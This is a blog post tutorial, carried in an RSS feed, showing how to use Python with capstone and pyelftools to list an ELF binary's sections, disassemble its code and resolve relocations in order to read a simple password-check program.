3267in fact, have a Python 3 interpreter installed on your system, run</p>
3268
3269<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
3270</code></pre></div>
3271
3272<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
3273
3274<p>With that out of the way, let’s start with an example of a basic reversing
3275challenge.</p>
3276
3277<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
3278
3279<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
3280<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
3281<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
3282
3283<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
3284 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
3285 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
3286 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
3287 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
3288 <span class="p">}</span>
3289 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
3290 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
3291 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
3292 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
3293 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
3294 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
3295 <span class="p">}</span>
3296 <span class="k">else</span> <span class="p">{</span>
3297 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
3298 <span class="p">}</span>
3299<span class="p">}</span>
3300</code></pre></div>
3301
3302<p>Compile it with GCC/Clang:</p>
3303
3304<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
3305</code></pre></div>
3306
3307<h2 id="scripting">Scripting</h2>
3308
3309<p>For starters, let’s look at the different sections present in the binary.</p>
3310
3311<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
3312
3313<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3314
3315<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3316 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3317 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
3318 <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
3319</code></pre></div>
3320
3321<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
3322
3323<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
3324<span class="go">0x238 .interp</span>
3325<span class="go">0x254 .note.ABI-tag</span>
3326<span class="go">0x274 .note.gnu.build-id</span>
3327<span class="go">0x298 .gnu.hash</span>
3328<span class="go">0x2c0 .dynsym</span>
3329<span class="go">0x3e0 .dynstr</span>
3330<span class="go">0x484 .gnu.version</span>
3331<span class="go">0x4a0 .gnu.version_r</span>
3332<span class="go">0x4c0 .rela.dyn</span>
3333<span class="go">0x598 .rela.plt</span>
3334<span class="go">0x610 .init</span>
3335<span class="go">0x630 .plt</span>
3336<span class="go">0x690 .plt.got</span>
3337<span class="go">0x6a0 .text</span>
3338<span class="go">0x8f4 .fini</span>
3339<span class="go">0x900 .rodata</span>
3340<span class="go">0x924 .eh_frame_hdr</span>
3341<span class="go">0x960 .eh_frame</span>
3342<span class="go">0x200d98 .init_array</span>
3343<span class="go">0x200da0 .fini_array</span>
3344<span class="go">0x200da8 .dynamic</span>
3345<span class="go">0x200f98 .got</span>
3346<span class="go">0x201000 .data</span>
3347<span class="go">0x201010 .bss</span>
3348<span class="go">0x0 .comment</span>
3349<span class="go">0x0 .symtab</span>
3350<span class="go">0x0 .strtab</span>
3351<span class="go">0x0 .shstrtab</span>
3352</code></pre></div>
3353
3354<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
3355
3356<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
3357
3358<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
3359
3360<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3361<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
3362
3363<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3364 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3365 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
3366 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
3367 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
3368 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
3369 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
3370 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'0x</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">address</span><span class="si">:</span><span class="s1">x</span><span class="si">}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">mnemonic</span><span class="si">}</span><span class="se">\t</span><span class="si">{</span><span class="n">i</span><span class="o">.</span><span class="n">op_str</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
3371</code></pre></div>
3372
3373<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
3374
3375<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
3376<span class="go">0x6a0: xor ebp, ebp</span>
3377<span class="go">0x6a2: mov r9, rdx</span>
3378<span class="go">0x6a5: pop rsi</span>
3379<span class="go">0x6a6: mov rdx, rsp</span>
3380<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
3381<span class="go">0x6ad: push rax</span>
3382<span class="go">0x6ae: push rsp</span>
3383<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
3384<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
3385<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
3386<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
3387<span class="go">0x6ca: hlt</span>
3388<span class="go">... snip ...</span>
3389</code></pre></div>
3390
3391<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
3392
3393<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
3394
3395<blockquote>
3396 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
3397</blockquote>
3398
3399<p>To try and find these relocation entries, we write a third script.</p>
3400
3401<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
3402
3403<span class="kn">import</span> <span class="nn">sys</span>
3404<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
3405<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
3406
3407<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
3408 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
3409 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
3410 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
3411 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s1">:'</span><span class="p">)</span>
3412 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
3413 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
3414 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
3415 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
3416 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">symbol</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
3417</code></pre></div>
3418
3419<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
3420
3421<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
3422<span class="go">.rela.dyn:</span>
3423<span class="go"> 0x200d98</span>
3424<span class="go"> 0x200da0</span>
3425<span class="go"> 0x201008</span>
3426<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
3427<span class="go">**__libc_start_main 0x200fe0**</span>
3428<span class="go">__gmon_start__ 0x200fe8</span>
3429<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
3430<span class="go">__cxa_finalize 0x200ff8</span>
3431<span class="go">stdin 0x201010</span>
3432<span class="go">.rela.plt:</span>
3433<span class="go">puts 0x200fb0</span>
3434<span class="go">printf 0x200fb8</span>
3435<span class="go">fgets 0x200fc0</span>
3436<span class="go">strcmp 0x200fc8</span>
3437<span class="go">malloc 0x200fd0</span>
3438</code></pre></div>
3439
3440<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
3441
3442<blockquote>
3443 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
3444</blockquote>
3445
3446<p>And its definition is like so</p>
3447
3448<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
3449<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
3450<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3451<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3452<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
3453<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
3454</code></pre></div>
3455
3456<p>Looking back at our disassembly</p>
3457
3458<pre><code>0x6a0: xor ebp, ebp
34590x6a2: mov r9, rdx
34600x6a5: pop rsi
34610x6a6: mov rdx, rsp
34620x6a9: and rsp, 0xfffffffffffffff0
34630x6ad: push rax
34640x6ae: push rsp
34650x6af: lea r8, [rip + 0x23a]
34660x6b6: lea rcx, [rip + 0x1c3]
3467**0x6bd: lea rdi, [rip + 0xe6]**
34680x6c4: call qword ptr [rip + 0x200916]
34690x6ca: hlt
3470... snip ...
3471</code></pre>
3472
3473<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
3474
3475<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
3476
3477<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
3478
3479<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
3480
3481<pre><code>printf 0x650
3482fgets 0x660
3483strcmp 0x670
3484malloc 0x680
3485</code></pre>
3486
3487<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
3488
3489<pre><code>0x7b2: mov edi, 0xa ; 10
34900x7b7: call 0x680 ; malloc
3491</code></pre>
3492
3493<p>The loop to populate the <code>*pw</code> string</p>
3494
3495<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
34960x7d3: cdqe
34970x7d5: lea rdx, [rax - 1]
34980x7d9: mov rax, qword ptr [rbp - 0x10]
34990x7dd: add rax, rdx
35000x7e0: movzx eax, byte ptr [rax]
35010x7e3: lea ecx, [rax + 1]
35020x7e6: mov eax, dword ptr [rbp - 0x14]
35030x7e9: movsxd rdx, eax
35040x7ec: mov rax, qword ptr [rbp - 0x10]
35050x7f0: add rax, rdx
35060x7f3: mov edx, ecx
35070x7f5: mov byte ptr [rax], dl
35080x7f7: add dword ptr [rbp - 0x14], 1
35090x7fb: cmp dword ptr [rbp - 0x14], 8
35100x7ff: jle 0x7d0
3511</code></pre>
3512
3513<p>And this looks like our <code>strcmp()</code></p>
3514
3515<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
35160x847: mov rax, qword ptr [rbp - 8] ; *pw
35170x84b: mov rsi, rdx
35180x84e: mov rdi, rax
35190x851: call 0x670 ; strcmp
35200x856: test eax, eax ; is = 0?
35210x858: jne 0x868 ; no? jump to 0x868
35220x85a: lea rdi, [rip + 0xae] ; "haha yes!"
35230x861: call 0x640 ; puts
35240x866: jmp 0x874
35250x868: lea rdi, [rip + 0xaa] ; "nah dude"
35260x86f: call 0x640 ; puts
3527</code></pre>
3528
3529<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
3530
3531<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
3532
3533<h2 id="conclusion">Conclusion</h2>
3534
3535<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
3536
3537<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
3538
3539<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p>
3540]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
3541</rss>